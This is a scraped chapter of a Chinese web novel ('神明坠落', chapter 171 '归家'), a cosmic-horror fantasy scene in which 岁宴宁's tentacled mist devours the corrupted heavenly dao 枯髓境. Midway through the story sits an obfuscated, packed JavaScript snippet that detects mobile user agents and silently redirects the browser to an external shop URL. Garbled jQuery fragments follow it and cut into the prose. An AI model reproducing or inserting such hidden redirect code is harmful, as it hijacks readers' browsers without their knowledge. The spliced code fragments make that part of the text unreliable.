文趣网 > 其他小说 > 神明坠落 > 171. 归家
    岁宴宁俯下身,在他微凉的唇上,轻轻印下一个不带半分情欲的吻。

    沈栀为了在神骨上刻下天纲,早就卸下了右腿上的外甲,裤腿卷上去,莹白的腿骨上,一行小字字迹刚劲有力,清晰地显露出来。

    【愿我身化序,我骨为纲,护我所爱之人,永守清明,永持本心,不被浊尘染,不被邪祟侵,岁岁年年,皆为自己】

    岁宴宁缓缓伸出手,指尖轻轻拂过那些字。

    每一个字都像是刻在了她的心上,密密麻麻的疼,还有铺天盖地的不舍,瞬间把她淹没。

    金色的眼瞳泛起水汽,喉咙里堵得厉害,她死死咬着唇,没让眼泪掉下来。

    她深吸一口气,对着缩在一角的黑雾道:“回来吧,我们回家。”

    黑雾贴着那行字轻轻蹭了蹭,像在小心翼翼地亲吻,又像在依依不舍地告别。

    过了许久,祂才一步三回头地,顺着她的指尖滑进掌心,彻底消失不见。

    额前的碎发落下来,遮住了她眼底的神色,她将他的裤腿捋平,又像他之前给她掖被子那样,把被子边角重新掖好,转身出了门。

    屋外,月光正盛,银白的光洒在她身上,像给她披了一层会发光的薄纱。

    她抬起头,看向天际那些垂下来的枯髓境的触须。

    苍翠山脉是整个天地异变程度最轻的地方,这里的触须只有寥寥数十根,可就算是这数十根,也早已不是她刚搬来时的模样。

    不过短短十天,那些原本细如发丝的触须,已经变得粗壮如蟒,时不时扫过天际,遮住月亮。

    她每天都在观察祂们,有时候祂们挡住了月亮,她就会派出一根触手将祂拂开。

    就算有岁家军和渡厄坐镇,就算他们早已向全天下颁布了《告万民书》,一遍遍安抚民心,可面对灭顶的恐慌,人的执念与恶念还是像疯长的野草,根本压不住。

    短短十日,还是有数不清的人,扛不住心底的恐惧与贪念,被诱入歧途,最终爆体而亡,尽数反哺给了枯髓境。

    她的视线缓缓落下,看向院门口的木栅栏。

    木栅栏下面,有一片她随手种下的小花园。

    说是花园,其实不过是她每次从外面回来时,随手摘的一把野花,怕它们死得太快,就又随手埋在了栅栏下的泥土里。

    此刻,在那片小花园的上方,有一株黄色的小野花正扯着一团光亮。

    有风吹过,那团光就被扯成长长的一条,小黄花也被压弯了头,花茎几乎要折断了,却还是固执地勾着那团光,不肯松开。

    已经异变为变种、爆体而亡的人,是无法将魂印扣在神骨上的。

    岁宴宁沉默片刻,对着那团微弱的光,认认真真地鞠了一躬,轻声说:“谢谢。”

    她伸出手,轻轻地将那团光亮从小黄花的花茎上托起来,把它推向了更高的天际。

    风卷着她的声音,也卷着那团光,奔向了广阔无垠的夜空:“安息吧,从此,再无苦痛,再无恐慌。”

    像是沉睡了千万年的神明终于睁开了眼,黑色的雾气铺天盖地,遮蔽了半个夜空,原本皎洁的月亮和星辰,瞬间黯淡下去。

    数百条触手从黑雾里钻了出来,遍布着密密麻麻的吸盘,每个吸盘里,都长着一圈细密的锯齿,只要轻轻贴上,就能瞬间啃咬下一整块血肉。

    祂们在空中缓缓蠕动着,带着令人头皮发麻的黏稠水声。

    在她的头顶,四只巨大的眼眸缓缓浮现,中间的竖瞳转动,最终定格在天际的尽头。

    那里,是祂们诞生的地方,如今,祂们即将归家。

    金瞳在黑暗中发出淡淡的光芒,与头顶那些巨型眼珠如出一辙。

    岁宴宁站在翻涌的黑雾之前,月光落在她脸上,神情平静无波。

    她轻声开口,声音里没有半分惧意,只有赴死的从容:

    “准备好了吗?”

    身后,数百条触手同时扬起,锯齿外翻,发出低沉而震动天地的嘶鸣,轰然朝着天际席卷而去。

    破空的尖啸震得云层翻涌,锋利的锯齿狠狠咬上触须,疯狂吮吸着内里翻涌的异变灵气。

    被咬住的触须立刻剧烈震颤起来,颜色以肉眼可见的速度明暗交替,不过瞬息之间,就失去了光泽,变得灰败透明。

    岁宴宁脊背挺直,纹丝不动地立在原地。

    她抬着头,眼底的金瞳剧烈地闪烁着。

    纯黑与金色在虹膜里疯狂拉扯、交替,竖瞳时而缩成细窄的一条线,时而又放大到几乎占满整个眼瞳,像是有两股力量在她的神识里殊死搏杀,又像是她正透过这双眼睛,看着这片天地千万年来的所有恶念与苦难。

    枯髓境终于察觉到了灭顶的危机,爆发出前所未有的反抗。

    漫天垂落的触须疯了一样翻滚抽打,云层被搅得粉碎,祂们想甩开身上死死缠咬的触手,甩不开便又疯了一样缠绕上去,想将祂们生生绞杀。

    可触手表面覆着一层滑腻的黏液,任凭触须如何收紧,都锁不住分毫,反而每一次剧烈的挣扎,都让体内的异变灵气像开了闸的洪水,被触手吞噬得更快。

    短短几个瞬息之间,原本粗壮如蟒、遮天蔽日的触须,渐渐变得干瘪透明,在触手的绞杀下寸寸崩裂。

    同样的场景,正在这片天地的每一个角落同时上演。

    人们还沉浸在天纲重铸的狂喜里,未曾回过神,不知是谁先停下了欢呼,仰起头,怔怔地望向了天幕。

    一个,两个,十个,百个……千千万万的人,都缓缓仰起了头。

    他们脸上的喜悦一点点僵住,最终凝固成一种难以言喻的恐惧。

    无数触手从虚空中探出来,像是从另一个维度撕开了天幕,密密麻麻,遮天蔽日。

    祂们蠕动着、缠绕着、绞杀着,锯齿开合之间闪烁着湿漉漉的寒光。

    枯髓境的触须在祂们面前,就像是落入蛛网的飞虫,被一寸寸锁紧、绞碎、吞噬。

    空气中弥漫着一种说不清道不明的威压,沉沉地压在每个人的胸口上,让人喘不过气来。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17931368|203127||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    那是一种深入骨髓的、不可名状的恐怖,看得人胃里翻涌,寒毛倒竖。

    可没有一个人敢发出半点声音,天地间静得可怕,只剩下天际传来的撕裂声,和自己擂鼓一样的心跳。

    他们的眼睛死死钉在天幕上,挪不开半分,明明那画面可怖到让他们浑身发冷,却又像被某种极致的、带着血腥气的美丽攥住了心神。

    那是最原始的、毫无保留的杀戮,也是最盛大的、拼尽一切的救赎。

    不知过了多久,最前排的一个老者,率先缓缓弯下了腰,膝盖重重地磕在了地上。

    紧接着,像是推倒了多米诺骨牌,无数人跟着弯下脊背,额头深深叩进脚下的泥土里,跪伏在地,像面对执掌生灭的神明。

    随着吞噬的异变灵气越来越多,枯髓境以肉眼可见的速度干瘪下去。

    触须最密集的城镇,百年来始终被异变灵气笼罩,不见天日,此刻随着触须的崩解,银白的月光终于穿透了厚重的阴霾,一缕一缕温柔地洒在大地上,落在人们仰起的、迷茫的脸上。

    岁宴宁眼底的金瞳震颤得愈发频繁,猩红从眼底蔓延开来,顺着眼角滑下一行滚烫的血泪。

    她随手抹掉,苍白的脸上留下一道刺目的红痕,眼睛一眨不眨地盯着天际的最深处,看着躲在一万五千个触须身后的那庞然大物。

    祂没有固定的形态,人眼不可见,人言不可说,是这片天地自诞生起就存在的规则本身。

    世人曾为祂创造了代称,天道。

    而天道异变之后,人们又称祂为,枯髓境。

    那是她,也不是她。

    下一瞬,漫天的触手突然从虚空里消失,再出现时,已然铺在了岁宴宁的脚下。

    数不清的触手交缠、堆叠,像一座不断向上生长的巨塔,托着她的身体,载着她一路向上。

    穿过翻涌的云层,穿过破碎的罡风,最终停在了那片不可名状的虚无面前。

    金瞳终于停止了震颤,翻涌的暴戾、不舍、悲怆,最终都沉淀成了一片无边无际的平静。

    那是容纳了世间所有江河的深海,包容了所有的恶,所有的罪。

    她缓缓抬起手,掌心向上,像在等一个漂泊了千万年的故人归家,轻声开口:“回来吧,我们回家。”

    话音落下的瞬间,那片人眼不可见的虚无之中,骤然泛起了漫天的星光点点。

    光点遍布了整个世界,夜空骤然亮如白日,亿万颗星点同时闪烁,光芒盖过了月亮,盖过了星辰。

    祂们奔腾着,呼啸着,像找到了归宿的溪流,尽数朝着天际中央那个渺小的身影涌去。

    地上的众生仰着头,看着天幕之上,无数的光点正朝着同一个中心汇聚,那个光点越来越亮,越来越盛,最终凝成了一颗悬在天际的、刺眼的太阳。

    太阳骤然下坠,像一颗划破长空的流星,带着毁天灭地的气势,重重砸向了大地。

    无数深不见底的裂缝从坠落的地方蔓延开来,像一张张开的巨口,要将整片大地吞入腹中。